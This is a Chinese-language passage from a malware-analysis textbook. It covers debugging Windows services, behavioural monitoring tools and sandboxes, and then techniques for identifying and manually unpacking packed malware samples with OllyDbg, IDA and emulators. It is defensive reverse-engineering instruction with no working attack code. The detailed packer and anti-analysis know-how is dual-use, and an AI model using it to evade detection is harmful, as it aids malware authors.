  • 使用 GFlags全局标志编辑器GFlags)工具是 Windows 调试工具(与 WinDbg 相同)的一部分,提供了多个选项用于调整候选应用程序的调试过程。要附加调试器,它会修改之前提到的注册表键,因此在这种情况下,可以几乎交替使用这两种方法。通过其 UI 来操作时,必须将目标程序的文件名(不是完整路径)设置为 Image File 标签和 Image 字段,然后使用 Tab 键刷新窗口,并在 Debugger 字段上勾选,指定首选调试器的完整路径。与前面的情况一样,必须确保服务是交互式的。

  • 使用调试器支持子进程创建时的断点,启用它(例如,在 WinDbg 中使用 .childdbg 1 命令),然后启动感兴趣的服务。

  • 在分析样本的入口点上,\xEB\xFE 字节表示 JMP 指令,将执行重定向到自身的开始位置,从而形成一个无限循环。然后,可以找到相应的进程(它会消耗大量的 CPU 资源),用调试器附加到该进程,恢复原始字节,并继续正常执行,同时确保恢复的指令能够成功执行。

一旦调试器附加,可以在样本的入口点设置断点,以便在那里停止执行。

调试服务时常见的问题是超时。默认情况下,如果服务没有成功执行并发送信号,它将在大约 30 秒后被终止,这可能会使调试过程变得复杂。例如,WinDbg 在尝试执行任何命令时,可能会意外地显示 No runnable debuggees 错误。要延长此时间间隔,必须在 HKLM\SYSTEM\CurrentControlSet\Control 注册表键中创建或更新 DWORD 类型的 ServicesPipeTimeout 值,并设置新的超时时间(以毫秒为单位),然后重新启动计算机。

服务 DLL 的导出项,如 ServiceMain,可以使用之前提到的任何方法进行调试。在这种情况下,可以在创建对应的 svchost.exe 进程后立即附加到该进程,并启用在 DLL 加载时中断(例如,使用 WinDbg 中的 sxe ld[:<dll_name>] 命令),或者通过无限循环指令修补 DLL 的入口点或任何其他感兴趣的导出项,并在 svchost.exe 启动后随时附加。

最后,让我们解释一下什么是行为分析以及它如何帮助我们理解恶意软件的功能。

行为分析要点

首先,值得提到的是,有些资源将动态分析和行为分析这两个术语互换使用。动态分析是指在调试器中执行指令的过程,而行为分析则涉及一种黑箱方法,即在各种监控工具下执行恶意软件,记录它所引入的变化。这种方法可以帮助研究人员快速了解恶意软件的功能。然而,它也有多个局限性,具体如下:

  • 恶意软件可能只执行其部分功能

  • 如果恶意软件发现正在被分析,它的行为可能会有所不同。

在大多数情况下,行为分析工具可以通过以下各种特征轻松被检测到:文件、进程或目录名称、注册表键值、互斥体、窗口名称等。

现在,让我们看看最常用的工具,并按类型将它们分组。

文件操作

这里的目标是监控恶意软件在文件系统级别引入的所有变化:

  • Process Monitor (Filemon):Sysinternals 套件的一部分,Process Monitor 将多个之前独立的工具结合在一起。其中一个,前身为 Filemon,允许你记录所有进程执行的文件系统操作:

图 3.31 – 由进程监视器记录的各种操作

  • Sandboxie:此工具的主要目的是不仅记录文件操作,还为研究人员提供访问已创建/修改文件的权限。如果恶意软件丢弃或下载其他模块并随后删除它们,这将非常有用。

除了文件操作,监控注册表操作是另一种经过时间验证的技术,它能够帮助我们了解恶意软件的目的。

注册表操作

在这种情况下,我们关注的是记录对 Windows 注册表所做的所有更改,Windows 注册表是一个层级数据库,存储了操作系统和已安装应用程序的各种设置:

  • 进程监视器(Regmon):该部分进程监视器允许研究人员记录所有在注册表中执行的操作类型。

  • Regshot:这个工具的概念非常简单——研究人员可以在恶意软件执行前后创建注册表快照,并比较它们,以查看引入的任何差异:

图 3.32 – Regshot 用户界面

  • Autoruns:这是 Sysinternals 套件中的另一个极好工具,对于找出恶意软件引入的持久性机制非常有价值。它展示了研究人员系统启动后将加载或执行的所有模块。

现在,让我们来讨论进程操作。

进程操作

除了监控注册表和文件系统的变化外,任何创建或终止的进程都是从恶意软件分析角度来看重要的证据。以下工具可以帮助我们追踪这些操作:

  • 进程监视器(Procmon):在这里,研究人员可以监控所有与进程相关的操作——主要是它们的创建和终止。

  • 进程资源管理器:该工具也作为 Sysinternals 套件的一部分进行分发。简而言之,这是任务管理器的高级版本,显示进程层级(父子关系)以及更多信息。

了解恶意软件目的的另一种方法是追踪其使用的 API。

WinAPIs

在这里,研究人员可以选择特定的 Windows API 进行监控,通过功能分组选择任何 API,而不专注于某一特定类型的活动。为了实现这一点,可以使用以下工具:

  • API Monitor:这是一个非常棒的工具,允许研究人员选择单个 API 或其组,并查看恶意软件调用了哪些 API,以及调用的顺序。以下是它的用户界面:

图 3.33 – API Monitor 按类别分组 WinAPIs

最后,让我们来谈谈网络操作。

网络活动

以下是一些最受欢迎的工具,它们可以帮助我们深入了解恶意软件的网络相关功能:

  • Tcpview:这是一个相当基础的工具,能够显示研究人员所有打开的端口以及已建立的连接和它们相关的进程。

  • Wireshark:网络流量分析的王者,这个工具提供了对所有发送和接收的数据包的宝贵洞察,并允许根据 OSI 模型对其进行解剖,并将它们分组为流。其丰富的过滤语法使其成为分析恶意网络活动时不可或缺的工具。以下截图展示了它的界面:

a

图 3.34 – Wireshark 解剖网络数据包

与手动使用单独的工具监控各个操作不同,还可以使用沙箱进行监控。

沙箱

沙箱是记录恶意软件执行后所有操作的机器(通常是虚拟机),为研究人员提供了对其功能的快速而详细的洞察。它们可能支持多种平台、操作系统和文件类型。其他沙箱还可能记录生成的流量并收集内存转储。

像任何行为分析工具一样,它们也存在多种局限性,具体如下:

  • 沙箱对恶意软件预期的环境了解有限,无法自动模拟,例如,所需的命令行参数。

  • 它们很容易被检测到。在这种情况下,恶意软件可能会立即终止或显示一些虚假的活动。

  • 它们的可见性有限,因为通常只显示恶意软件功能的一部分。

使用沙箱有两种选择:

  • 在线沙箱服务

在这个市场上有几个大公司,其中一些仅限商业使用,或提供订阅选项的公共服务。以下是一些最著名的免费公共沙箱服务:

重要提示

在撰写本文时,VirusTotal 支持多种不同的沙箱,建议尝试几种不同的沙箱,找到合适的报告。

  • 自管理沙箱

在这里,研究人员需要自行托管、设置和管理软件,伴随而来的是相应的优缺点。以下是一些最著名的选项:

  • Cuckoo(免费):可能是最著名的沙箱软件,拥有多个分支版本,如CAPE

  • DRAKVUF 沙箱(免费):基于 DRAKVUF 虚拟化技术的较新沙箱市场参与者。

  • VMRay(商业版):与前两个不同,这款是仅限商业使用的,但提供了卓越的结果。

根据使用案例和可用资源,每种选择都有其优缺点,应该根据实际情况使用。

本章到此结束。现在,让我们快速回顾一下我们所学的内容以及在第四章中将要讨论的内容——解包、解密与去混淆

总结

在本章中,我们讨论了 Windows 可执行文件的 PE 结构。我们逐字段地讲解了 PE 头部,并研究了它在静态分析中的重要性,最后给出了 PE 头部能够帮助我们回答的与事件处理和威胁情报相关的主要问题。

我们还讨论了 DLL 和 PE 文件如何通过所谓的 API 在同一虚拟内存中相互通信并共享代码和函数。我们还讲解了导入表和导出表是如何工作的。

接着,我们从基础开始讲解动态分析,例如什么是进程,什么是线程。我们提供了详细的步骤指导,讲解了 Windows 如何创建一个进程并加载 PE 文件,从在 Windows 资源管理器中双击应用程序到程序在你面前运行的全过程。

最后,我们讨论了如何使用 OllyDbg 进行恶意软件的动态分析,通过这款工具最重要的功能来监控、调试甚至修改程序的执行过程。我们讲解了不同类型的断点,如何设置断点,它们如何在内部工作,从而帮助你理解恶意软件如何检测它们以及如何绕过其反逆向工程技术。最后,我们讲解了 Windows 服务及其调试方法。

在这一点上,你应该已经掌握了进行基本恶意软件分析的基础,包括静态分析和动态分析。你也应该了解在每个步骤中需要回答的问题以及你需要遵循的流程,以便全面理解这个恶意软件的功能。

第四章《解包、解密与去混淆》中,我们将把讨论拓展到恶意软件的解包、解密和去混淆。我们将探索恶意软件作者为绕过检测和欺骗经验不足的逆向工程师而采用的不同技巧。我们还将学习如何绕过这些技巧并应对它们。

第四章:解包、解密与去混淆

在本章中,我们将探讨恶意软件作者为绕过杀毒软件静态签名并欺骗经验不足的逆向工程师而引入的不同技术。主要内容包括打包、加密和混淆。我们将学习如何识别打包样本,如何解包它们,如何处理不同的加密算法——从简单的滑动密钥加密到更复杂的算法,如 3DES、AES 和 RSA——以及如何处理 API 加密、字符串加密和网络流量加密。

本章将帮助你应对使用打包和加密技术来规避检测并阻碍逆向工程的恶意软件。通过本章的信息,你将能够手动解包带有自定义打包工具的恶意软件样本,理解需要解密其代码、字符串、API 或网络流量的恶意软件加密算法,并提取其渗透数据。你还将了解如何使用 IDA Python 脚本自动化解密过程。

在本章中,我们将涵盖以下主题:

  • 探索打包工具

  • 识别打包样本

  • 自动解包打包样本

  • 手动解包技术

  • 转储解包后的样本并修复导入表

  • 识别简单的加密算法和函数

  • 高级对称和非对称加密算法

  • 现代恶意软件中的加密应用——Vawtrak 银行木马

  • 使用 IDA 进行解密和解包

探索打包工具

打包工具是一种将可执行文件的代码、数据,有时还包括资源打包在一起的工具,它包含了在运行时解包并执行程序的代码。我们将解决以下几个过程:

  • 高级对称和非对称加密算法

  • 现代恶意软件中的加密应用——Vawtrak 银行木马

  • 使用 IDA 进行解密和解包

这是此过程的高级流程图:

图 4.1 – 解包样本的过程

图 4.1 – 解包样本的过程

打包工具帮助恶意软件作者通过这些压缩和/或加密层隐藏其恶意代码。只有在恶意软件执行时(在运行时模式下),这些代码才会被解包并执行,从而帮助恶意软件作者绕过基于静态签名的检测,这些检测通常会针对打包样本进行应用。

探索打包和加密工具

多种工具可以对可执行文件进行打包/加密,但每种工具的用途不同。理解它们之间的区别非常重要,因为它们的加密技术是根据其用途量身定制的。我们来逐一了解它们:

  • 打包工具:这些程序主要是压缩可执行文件,从而减小它们的总体大小。由于它们的目的是压缩,因此并不是为了隐藏恶意特征,也本身不具有恶意。因此,它们不能作为已打包文件可能是恶意的指标。市面上有很多著名的打包工具,它们被良性软件和恶意软件家族同时使用,以下是几个例子:

    • UPX:这是一款开源打包工具,其命令行工具可以解压已打包的文件。

    • ASPack:这是一款常用的打包工具,提供免费版和高级版。提供 ASPack 的同一公司还提供如 ASProtect 这样的保护工具。

  • 合法保护工具:这些工具的主要目的是保护程序免受逆向工程的尝试——例如,保护共享软件产品的许可系统,或隐藏实现细节以防竞争对手窃取。它们通常集成了加密和各种反逆向工程技巧。虽然其中一些可能被滥用来保护恶意软件,但这并非它们的初衷。

  • 恶意加密工具:与合法保护工具类似,它们的目的也是使分析过程更为困难;不过这里的重点有所不同:为了避开病毒扫描,需要绕过沙箱并隐藏文件的恶意特征。它们的存在表明加密文件很可能是恶意的,因为它们不在合法市场上出售。

实际上,所有这些工具通常被称为打包工具,它们可能包括保护和压缩功能。

现在我们对打包工具有了更多了解,让我们来讨论如何识别它们。

识别已打包样本

有多种工具和方法可以识别样本是否被打包。在这一节中,我们将介绍不同的技术和标志,从最简单的方法到更复杂的技术。

技术 1 – 使用静态签名

识别恶意软件是否被打包的第一种方法是使用静态签名。每种打包工具都有独特的特征,能够帮助你识别它。某些 PE 工具,如 PEiDCFF Explorer,可以使用这些签名或特征扫描 PE 文件,识别用于压缩文件的打包工具(如果文件被打包);否则,它们将识别用于编译此可执行文件的编译器(如果文件未被打包)。以下是一个示例:

图 4.2 – PEiD 工具检测 UPX

图 4.2 – PEiD 工具检测 UPX

你需要做的就是在 PEiD 中打开这个文件,你会看到触发的签名(在前面的截图中,它被识别为 UPX)。然而,由于它们并不能总是识别使用的打包工具或编译器,你需要其他方法来识别文件是否被打包,以及如果被打包,使用了什么打包工具。

技术 2 – 评估 PE 区段名称

段名如果文件被打包,可以透露很多关于编译器或打包工具的信息。解压后的 PE 文件包含如.text.data.idata.rsrc.reloc等段,而打包文件包含特定的段名,如UPX0.aspack.stub等。以下是一个例子:

图 4.3 – PEiD 工具的段查看器

图 4.3 – PEiD 工具的段查看器

这些段的名称可以帮助你识别该文件是否被打包。通过在互联网上搜索这些段名,你可以帮助识别使用这些段名的打包工具,或者它们用于打包数据或 stub(解压代码)。你可以通过在 PEiD 中打开文件并点击EP Section旁边的**>**按钮,轻松找到段名。这样,你将看到该 PE 文件中所有段的列表以及它们的名称。

技术 3 – 使用 stub 执行标志

大多数打包工具会压缩 PE 文件的各个部分,包括代码段、数据段、导入表等,然后在文件末尾添加一个包含解压代码(stub)的新段。由于大多数解压后的 PE 文件是从第一个段开始执行的(通常是.text段),而打包后的 PE 文件会从最后一个段中的某个位置开始执行,这清晰地表明将会进行解密过程。以下是这一过程的迹象:

  • 入口点不指向第一个段(它通常指向倒数第二个段之一),并且该段的内存权限是EXECUTE(在段的特性中)。

  • 第一个段的内存权限通常是READ | WRITE

值得一提的是,许多感染可执行文件的病毒家族具有类似的特征。

技术 4 – 检测小的导入表

对于大多数应用程序,导入表中充满了来自系统库和第三方库的 API;然而,在大多数打包的 PE 文件中,导入表会非常小,并且只包含来自已知库的少数 API。这足以解压文件。每个库中的一个 API 将在解压后被使用。原因是大多数打包工具在解压 PE 文件后会手动加载导入表,如下图所示:

图 4.4 – 解压样本与使用 UPX 打包样本的导入表

图 4.4 – 解压样本与使用 UPX 打包样本的导入表

打包样本删除了ADVAPI32.dll中的所有 API,只留下一个,因此该库将由 Windows 加载器自动加载。解压后,解压器 stub 代码将再次使用GetProcAddress API 加载所有这些 API。

现在我们大致了解了如何识别一个打包的样本,接下来让我们深入探讨如何自动解压打包样本。

自动解压打包样本

在深入手动、耗时的解包过程之前,您需要首先尝试一些快速的自动化技术,以便快速获得干净的解包样本。在本节中,我们将解释最常见的几种快速解包技术,针对那些使用常见打包器打包的样本。

技巧 1 – 官方解包过程

一些打包器,如UPXWinRAR,是自解压包,它们包含了与工具一起提供的解包技术。如你所知,这些工具并非旨在隐藏任何恶意特征,因此其中一些工具提供了解包功能,既面向开发人员,也面向最终用户。

在某些情况下,恶意软件非法使用商业保护程序来保护自己,防止被逆向工程和检测。在这种情况下,您甚至可以直接联系保护提供商,以便为您的分析解保护该恶意软件。

在 UPX 的情况下,攻击者通常会修补打包样本,使其仍然可以执行,但标准工具无法再解包它。例如,在许多情况下,它涉及将其第一个节的UPX魔术值替换为其他内容:

图 4.5 – UPX 魔术值和节名称已更改,但样本仍然完全可用

图 4.5 – UPX 魔术值和节名称已更改,但样本仍然完全可用

恢复原始值可以使样本通过标准工具无法解包。

技巧 2 – 使用 OllyDbg 配合 OllyScript

有一个名为OllyScript的 OllyDbg 插件可以帮助自动化解包过程。它通过脚本化 OllyDbg 的操作来实现这一点,比如设置断点、继续执行、将 EIP 寄存器指向不同位置,或者修改一些字节。

如今,OllyScript 的使用已经不那么广泛,但它启发了下一个技巧。

技巧 3 – 使用通用解包工具

通用解包器是已经预先编写脚本的调试器,用于解包特定的打包器或自动化手动解包过程,我们将在下一节中详细描述其中的内容。以下是其中一个例子:

图 4.6 – QuickUnpack 工具详细介绍

图 4.6 – QuickUnpack 工具详细介绍

它们更加通用,能够与多个打包器兼容。然而,恶意软件可能会从这些工具中逃逸,从而导致恶意软件在用户的机器上执行。因此,您应该始终在隔离的虚拟机或安全环境中使用这些工具。

技巧 4 – 模拟

另一个值得提到的工具组是模拟器。模拟器是能够模拟执行环境的程序,包括处理器(用于执行指令、处理寄存器等)、内存、操作系统等。

这些工具具有更强大的能力来安全地运行恶意软件(因为所有操作都在模拟环境中),并且对执行过程有更多的控制。因此,它们能够设置更复杂的断点,并且可以轻松编写脚本(如libemuPokas x86 模拟器),如下面的代码所示:

from pySRDF import *
emu = Emulator(“upx.exe”)
x = emu.SetBp(“isdirty(eip)”) # which set bp on Execute on modified data
emu.Run() # OR emu.Run(“ins.log”) to log all running instructions
emu.Dump(“upx_unpacked.exe”, DUMP_FIXIMPORTTABLE) # DUMP_FIXIMPORTTABLE create new import table for new API
print(“File Unpacked Successfully\n\nThe Disassembled Code\n---------------”)

在这个例子中,我们使用了 Pokas x86 模拟器。通过它,设置更复杂的断点变得更加容易,例如修改数据时执行,当指令指针(EIP)指向解密/解包后的内存位置时,该断点会触发。

另一个基于仿真技术的出色工具是unipacker。它基于Unicorn引擎,并支持多种流行的合法打包工具,包括 ASPack、FSG、MEW、MPRESS 等。

技术 5 – 内存转储

我们将提到的最后一种快速技术是结合内存转储。由于其对大多数打包工具和保护器而言是最容易应用的技术之一(特别是当它们具有反调试技术时),因此这一技术被广泛使用。其背后的思路是执行恶意软件并获取其进程的内存快照。一些常见的沙箱工具提供进程的内存转储作为核心功能,或者作为其插件功能之一,例如Cuckoo沙箱。

这种技术对静态分析和静态签名扫描非常有益;然而,生成的内存转储与原始样本不同,无法直接执行。除了代码和数据的偏移位置与节表中指定的偏移位置不匹配外,导入表也需要修复,才能进行后续的动态分析。

由于这种技术无法提供干净的样本,并且因为我们之前描述的自动化技术存在局限性,了解如何手动解包恶意软件将帮助你应对那些你偶尔会遇到的特殊情况。通过手动解包,并理解反逆向工程技术(这些将在第六章中详细讲解,绕过反逆向工程技术),你将能够应对最先进的打包工具。

在下一节中,我们将探讨如何使用 OllyDbg 进行手动解包。

手动解包技术

尽管自动解包比手动解包更快、更易使用,但它并不适用于所有的打包工具、加密器或保护器。这是因为其中一些需要特定的定制解包方式。有些工具采用了反虚拟机技术或反逆向工程技术,而其他工具则使用了模拟器无法检测到的非常规 API 或汇编指令。在本节中,我们将探讨不同的手动解包恶意软件的技术。

之前的技术与手动解压的主要区别在于我们何时获取内存转储以及之后怎么处理它。如果我们仅执行原始样本,转储整个进程内存,并希望解压的模块在那里可用,我们将面临多个问题:

  • 可能解压后的样本已经按节区映射,且导入表已经填充,因此工程师需要更改每个节区的物理地址,使其与虚拟地址相等,恢复导入,甚至可能需要处理重定位,以使它们重新变得可执行。

  • 该样本的哈希值将与原始样本不同。

  • 原始加载器可能会将样本解压到分配的内存中,注入到其他地方,并释放内存,这样它就不会成为完整转储的一部分。

  • 很容易错过一些模块;例如,原始加载器可能只会为 32 位或 64 位平台解压一个样本。

更为简洁的方法是在样本刚被解压但尚未使用时停止解压。这样,它将只是一个原始文件。在某些情况下,甚至它的哈希值也会与尚未打包的原始样本匹配,因此可以用于威胁狩猎。

在本节中,我们将介绍几种常见的通用解压方法。

技术 1 – 执行时的内存断点

该技术适用于将解压样本放置在与已加载打包文件相同位置的内存中的打包器。正如我们所知,打包样本将包含原始文件的各个节区(包括代码节区),解压程序只会解压每个节区,然后将控制权转移到原始入口点OEP),以便应用程序正常运行。这样,我们可以假设 OEP 会在第一个节区中,这样我们就可以设置一个断点来捕获那里执行的任何指令。我们一步步地介绍这个过程。

步骤 1 – 设置断点

为了拦截第一个节区中的代码接管控制的时刻,我们不能使用执行时的硬件断点,因为它们最多只能设置为四个字节。这样,我们需要确切知道执行将从哪里开始。更有效的解决方案是设置执行时的内存断点。

在 OllyDbg 中隐式提供了在执行时使用内存断点的功能。可以通过进入视图 | 内存来访问,在这里我们可以将第一个节区的内存权限更改为读/写,如果它原本是完全访问的话。以下是一个示例:

图 4.7 – 在 OllyDbg 中更改内存权限

图 4.7 – 在 OllyDbg 中更改内存权限

在这种情况下,直到该段获得执行权限之前,我们无法在此段中执行代码。默认情况下,在多个 Windows 版本中,即使内存权限不包含 EXECUTE 权限,它仍然会对非关键进程保持可执行状态。因此,你需要强制执行所谓的 EXECUTE 权限,并且不允许任何不可执行的数据被执行。

该技术用于防止利用攻击,我们将在 第八章 中更详细地讨论 处理利用和 shellcode;不过,在我们想要轻松解包恶意软件样本时,它非常有用。

步骤 2 – 启用数据执行保护

要启用 DEP,你可以进入 高级系统设置,然后选择 数据执行保护。你需要为所有程序和服务启用它,如下图所示:

图 4.8 – 更改 Windows 上的 DEP 设置

图 4.8 – 更改 Windows 上的 DEP 设置

现在,应该强制这些类型的断点,并防止恶意软件在该段中执行,特别是在解密代码的开头(OEP)。

步骤 3 – 防止任何进一步尝试更改内存权限

不幸的是,仅仅强制执行 DEP 是不够的。解包存根可以通过使用 VirtualProtect API,再次将该段权限更改为完全访问,从而轻松绕过此断点。

该 API 使程序能够将任何内存块的内存权限更改为任何其他权限。你需要通过转到 VirtualProtect 设置一个断点,并在它指向的地址上设置另一个断点。

如果存根尝试调用 VirtualProtect 来更改内存权限,调试中的进程将会停止,你可以更改它尝试设置的第一个部分的权限。你可以将 NewProtect 参数的值更改为 READONLYREAD|WRITE,并从中移除 EXECUTE 位。调试器中显示的情况如下:

图 4.9 – 查找 VirtualProtect API 更改权限的地址

图 4.9 – 查找 VirtualProtect API 更改权限的地址

处理完这一部分后,是时候让断点触发了。

步骤 4 – 执行并获取 OEP

一旦点击 运行,调试中的进程最终会将控制权转交给 OEP,这将导致出现访问冲突错误,下面是截图所示:

图 4.10 – 在 OllyDbg 中停留在样本的 OEP

图 4.10 – 在 OllyDbg 中停留在样本的 OEP

这可能不会立即发生,因为一些加壳器会修改第一节的前几个字节,使用 retjmpcall 等指令,仅仅是为了使调试过程在此断点处中断;然而,经过几次迭代后,程序会中断。这发生在第一次加密/解压的过程完成后,它会执行程序的原始代码。

技巧 2 – 调用堆栈回溯

理解 调用堆栈 的概念对加速你的恶意软件分析过程非常有用。首先是解包过程。

看一下以下代码,并想象堆栈会是什么样子:

func01:
1: push ebp
2: mov ebp, esp ; now ebp = esp
...
3: call func02
...
func02:
4: push ebp     ; which was the previous esp before the call
5: mov ebp, esp ; now ebp = new esp
...
6: call func03
...
func03:
7: push ebp     ; which is equal to previous esp
8: mov ebp, esp ; ebp = another new esp
...

当我们查看在 call func03 保存返回地址之后的堆栈时,前一个 esp 的值通过 push ebp 被保存(它在第 5 行被复制到 ebp)。在这个之前的 esp 值上,存储了第一个 esp 值(这是因为 ebp 的指令 4 等于第一个 esp 值),接着是来自 call func02 的返回地址,以此类推。这里,存储的 esp 值后面跟着一个返回地址。这个 esp 值指向先前存储的 esp 值,后面跟着先前的返回地址,以此类推。这就是所谓的调用堆栈。下图展示了在 OllyDbg 中的实际情况:

图 4.11 – 在 OllyDbg 中存储的值后跟返回地址

图 4.11 – 在 OllyDbg 中存储的值后跟返回地址

如你所见,存储的 esp 值指向下一个堆栈帧(另一个存储的 esp 值和先前调用的返回地址),以此类推。

OllyDbg 包括一个可通过 视图 | 调用堆栈 访问的调用堆栈视图窗口。它看起来如下:

图 4.12 – OllyDbg 中的调用堆栈

图 4.12 – OllyDbg 中的调用堆栈

现在,你可能会问:调用堆栈如何帮助我们以快速高效的方式卸载恶意软件?

在这里,我们可以设置一个断点,确保它会使调试过程在解密代码执行的中途中断(解包阶段后的实际程序代码)。一旦执行停止,我们可以回溯调用堆栈,找到解密代码中的第一个调用。到达那里后,我们可以向上滑动,直到找到在解密代码中执行的第一个函数的起始位置,并将该地址声明为 OEP。我们将更详细地描述这个过程。

步骤 1 – 设置断点

为了应用这种方法,你需要在程序某个时刻会执行的 API 上设置断点。你可以依赖常见的 API(例如 GetModuleFileNameAGetCommandLineACreateFileAVirtualAllocHeapAllocmemset)、你的行为分析,或者沙盒报告,它会告诉你样本执行过程中使用了哪些 API。

首先,您必须在这些 API 上设置断点(使用您知道的所有 API,除了那些可能被解压缩存根使用的 API),然后执行程序直到执行被中断,如下图所示:

图 4.13 – 在 OllyDbg 的堆栈窗口中的返回地址

图 4.13 – 在 OllyDbg 的堆栈窗口中的返回地址

现在,您需要检查堆栈,因为接下来的大多数步骤都将在堆栈方面进行。通过这样做,您可以开始跟踪调用堆栈。

步骤 2 – 跟踪调用堆栈

跟踪堆栈中存储的 esp 值,然后跟踪下一个存储的 esp 值,直到您找到第一个返回地址,如下图所示:

图 4.14 – 在 OllyDbg 的堆栈窗口中的最后返回地址

图 4.14 – 在 OllyDbg 的堆栈窗口中的最后返回地址

现在,跟踪 CPU 窗口中反汇编部分的返回地址,如下所示:

图 4.15 – 在 OllyDbg 中跟踪最后一个返回地址

图 4.15 – 在 OllyDbg 中跟踪最后一个返回地址

一旦您到达解压缩区域中的第一个调用,剩下的唯一步骤就是到达 OEP。

步骤 3 – 到达 OEP

现在,您只需要向上滑动,直到找到 OEP。它可以通过标准的函数前言来识别,如下所示:

图 4.16 – 在 OllyDbg 中找到 OEP

图 4.16 – 在 OllyDbg 中找到 OEP

这是我们通过之前的方法能够到达的相同入口点。这是一个简单的技术,适用于许多复杂的打包程序和加密器。然而,这种技术很容易导致恶意软件的实际执行,或者至少是其部分代码的执行,因此需要小心使用。

技术 3 – 监视解压缩代码的内存分配空间

如果分析样本的时间有限,或者样本数量很多,这种方法非常有用,因为在这里我们不会深入讨论原始样本是如何存储的。

这里的想法是,原始恶意软件通常会分配一个大的内存块来存储解压缩/解密后的嵌入样本。稍后我们将讨论在这种情况不成立时会发生什么。

有多个 Windows API 可以用于在用户模式下分配内存。攻击者通常倾向于使用以下这些:

  • VirtualAlloc/VirtualAllocEx/VirtualAllocExNuma

  • LocalAlloc/GlobalAlloc/HeapAlloc

  • RtlAllocateHeap

在内核模式下,还有其他函数,例如 ZwAllocateVirtualMemoryExAllocatePoolWithTag 也可以以类似的方式使用。

如果样本是用 C 编写的,直接监视 malloc/calloc 函数是有意义的。对于 C++ 恶意软件,我们还可以监视 new 操作符。

一旦我们在样本的入口点(或 TLS 例程的开头,如果它存在的话)停下,就可以在这些函数的执行过程中设置断点。通常,可以在函数的第一条指令上设置断点,但如果担心恶意软件可能会挂钩它(即,用自定义代码替换前几条字节),在最后一条指令上设置断点效果会更好。

这样做的另一个好处是,只需要一个断点来同时监控 VirtualAllocExVirtualAlloc(后者是前者 API 的包装器)。在 IDA 调试器中,按 G 热键并在 API 名称前加上相应的 DLL 名称(不带文件扩展名,并用下划线分隔)可以直接跳转到该 API,例如,kernel32_VirtualAlloc,如下面的截图所示:

图 4.17 – 在 WinAPI 中设置内存分配断点

图 4.17 – 在 WinAPI 中设置内存分配断点

在此之后,我们继续执行并监控已分配内存块的大小。只要内存块足够大,我们可以在写入操作时设置断点,拦截加密的(或已即时解密的)有效载荷被写入的时刻。如果恶意软件调用这些函数的次数过多,可以考虑设置一个条件断点,仅监控分配大于特定大小的内存块。之后,如果内存块仍然是加密的,我们可以继续在写入时设置断点,直到解密例程开始处理它。最后,当最后一个字节解密时,我们可以将内存块转储到磁盘。

其他可以采用相同方法的 API 函数包括以下几个:

  • VirtualProtect:恶意软件作者可以利用这个函数将内存块存储解压后的样本可执行文件,或将头部或代码节区设置为不可写。

  • WriteProcessMemory:这通常用于将解压后的有效载荷注入到另一个进程或其自身。

一些打包工具,如 UPX,采用稍微不同的方法,在其节区表中添加一个节区,这个节区在 RAM 中占用大量空间,但在磁盘上不存在(物理大小为 0)。这样,Windows 加载程序会为解压程序准备这个空间,而无需动态分配内存。在这种情况下,在该节区开头设置写入断点的效果与之前描述的相同。

在大多数情况下,恶意软件会一次性解压整个样本,这样在转储后,我们可以获得正确的 MZ-PE 文件,可以独立分析。然而,也有其他选项,如以下所示:

  • 解密后的块是一个损坏的可执行文件,依赖于原始的打包工具来正确执行。

  • 打包工具按节区逐个解密样本并逐一加载它们。处理这种情况的方式有很多种,如下所示:

    • 转储各个部分,只要它们可用,并稍后将它们合并。

    • 修改解密例程,以一次处理整个样本。

    • 编写一个脚本来解密整个加密块。

如果恶意程序在任何阶段终止,这可能是一个迹象,表明它可能需要一些额外的东西(如命令行参数、外部文件,或者可能需要以特定方式加载),或者它可能需要绕过反逆向工程的技巧。你可以通过多种方式确认这一点——例如,拦截程序即将终止的时刻(例如,通过在ExitProcessTerminateProcess或更复杂的PostQuitMessage API 调用上放置断点),并追踪哪个部分的代码导致了终止。一些工程师更倾向于手动逐步调试主函数——直到某个子程序导致终止——然后重新启动过程并追踪该子程序的代码。接下来,如果需要,可以继续追踪该子程序内部的代码,直到确认终止逻辑。

技巧 4 – 原地解包

虽然不常见,但有可能在样本原始位置所在的同一个节中解密它(该节应该具有WRITE|EXECUTE权限),或者在原始文件的另一个节中解密。

在这种情况下,执行以下步骤是有意义的:

  1. 搜索一个大的加密块(通常,它具有高熵,并且在十六进制编辑器中肉眼可见)。

  2. 找到它将被读取的确切位置(块的前几个字节可能有其他用途——例如,它们可能存储各种类型的元数据,如大小或校验和/哈希值,用于验证解密)。

  3. 在那里放置一个读/写断点。

  4. 运行程序并等待断点被触发。

只要解密例程访问了这个块,就非常容易获得它的解密版本——无论是通过在解密函数的末尾放置断点,还是在写入加密块最后几个字节时放置断点,拦截它们被处理的时刻。

值得一提的是,这种方法可以与依赖恶意软件分配内存的方法一起使用。这个内容将在手动解包技巧一节中讨论。

技巧 5 – 搜索并将控制权转移到 OEP

理论上,任何控制流指令都可以在解包完成后将控制转移到 OEP。然而,实际上,许多解包器仅使用jmp指令,因为它们不需要任何条件,也不需要将控制返回(另一个不太常见的选项是使用push <OEP_addr>ret的组合)。由于 OEP 的地址通常在编译时未知,通常是通过寄存器或存储在特定偏移量的值传递给jmp,而不是实际的虚拟地址,因此很容易被发现。另一种可能是,OEP 地址在编译时已知,但由于解包尚未完成,因此那里还没有代码。在这两种情况下,搜索异常的控制转移指令可能是快速定位 OEP 的方法。对于jmp,可以通过运行全文搜索所有jmp指令(在 IDA 中,您可以使用 Alt + T 热键组合)并对其进行排序,以便发现异常条目。以下是这种控制转移的示例:

图 4.18 – 涉及寄存器的不常见控制转移

图 4.18 – 涉及寄存器的不常见控制转移

现在让我们进入技术 6。

技术 6 – 基于堆栈恢复

这种技术通常比前两种方法更快,但可靠性较差。这里的思路是,一些加壳工具会在解包完成后将控制转移到主函数结束时的解包代码。我们已经知道,在函数结束时,堆栈指针会恢复到函数开始时的相同地址。在这种情况下,可以在访问[esp-4]/[rsp-8]值时设置断点,并保持在样本的入口点,然后执行它,这样断点就有可能在转移控制到解包代码之前触发。

这可能永远不会发生,这取决于解包代码的实现,也可能会有其他情况会发生这种情况(例如,在开始实际解包过程之前,有多个垃圾调用)。因此,这种方法只能作为花费更多时间在其他方法之前的第一次快速检查。

当我们到达解包样本已加载到内存的阶段时,需要将其保存到磁盘。在下一节中,我们将描述如何将解包后的恶意软件从内存转储到磁盘并修复导入表。

转储解包后的样本并修复导入表

